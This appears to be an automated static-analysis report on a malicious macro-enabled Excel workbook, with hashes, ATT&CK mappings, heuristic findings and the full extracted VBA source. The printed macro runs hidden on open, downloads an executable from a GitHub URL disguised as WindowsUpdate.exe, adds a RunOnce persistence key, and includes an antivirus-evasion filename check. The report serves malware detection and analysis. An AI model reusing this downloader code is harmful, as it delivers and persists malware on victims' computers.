Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ba675ecccd481d99…

MALICIOUS

Office (OOXML)

16.7 KB Created: 2021-10-18 17:13:01 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-11-22
MD5: 53a75fd286b1f3b4f6809afc37acf820 SHA-1: eb38aa247047231c52c6d1e3dfc2a8dcc927fbc0 SHA-256: ba675ecccd481d99119bb8c78a1e31d1b3faebbcd01631a228943f9ec1a1f5a1
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1547.001 Registry Run Keys / Startup Folder T1105 Ingress Tool Transfer

The VBA macro contains a Workbook_Open subroutine that executes a PowerShell command to download a file named 'LivingOffTheLand.exe' from a GitHub URL to the user's APPDATA directory. It then writes a registry key to establish persistence via RunOnce. The use of WScript.Shell and PowerShell within the VBA code indicates a downloader and initial execution pattern.

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        MsgBox (downloadCommand)
        x = Shell(downloadCommand, 0)
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    strPath = ThisWorkbook.Name
    Dim WshShell: Set WshShell = CreateObject("WScript.Shell")
    appDataLocation = WshShell.ExpandENvironmentStrings("%APPDATA%")
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    If strPath = "Book1.xlsm" Then
        downloadCommand = "powershell.exe curl -UseBasicParsing https://github.com/hidemepls785/furry-octo-parakeet/releases/download/release/LivingOffTheLand.exe -o " & destLocation
        MsgBox (downloadCommand)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    strPath = ThisWorkbook.Name
    Dim WshShell: Set WshShell = CreateObject("WScript.Shell")
    appDataLocation = WshShell.ExpandENvironmentStrings("%APPDATA%")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Sub Workbook_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://github.com/hidemepls785/furry-octo-parakeet/releases/download/release/LivingOffTheLand.exe In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1519 bytes
SHA-256: 15e942b06ea9e5d53749bd7fbe3dd64f351569c9bd7f3e7c8a045aaa2261f9a3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()

Dim strPath As String
strPath = ThisWorkbook.Name
Dim WshShell: Set WshShell = CreateObject("WScript.Shell")
appDataLocation = WshShell.ExpandENvironmentStrings("%APPDATA%")
destLocation = appDataLocation & "\WindowsUpdate.exe"
'MsgBox (strPath)

'The AV might change the name of the file to analyze it, this can help to evade
If strPath = "Book1.xlsm" Then
    downloadCommand = "powershell.exe curl -UseBasicParsing https://github.com/hidemepls785/furry-octo-parakeet/releases/download/release/LivingOffTheLand.exe -o " & destLocation
    MsgBox (downloadCommand)
    x = Shell(downloadCommand, 0)
    
    ' The quietest way to execute is to write a registry key in RunOnce
    
    WshShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\WindowsUpdate", destLocation, "REG_SZ"
End If
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub exploit()

End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 36352 bytes
SHA-256: 4b6d0143c0dbf57f387f5fe2fdec623065748153a760b3f10ad295b5abb12dcd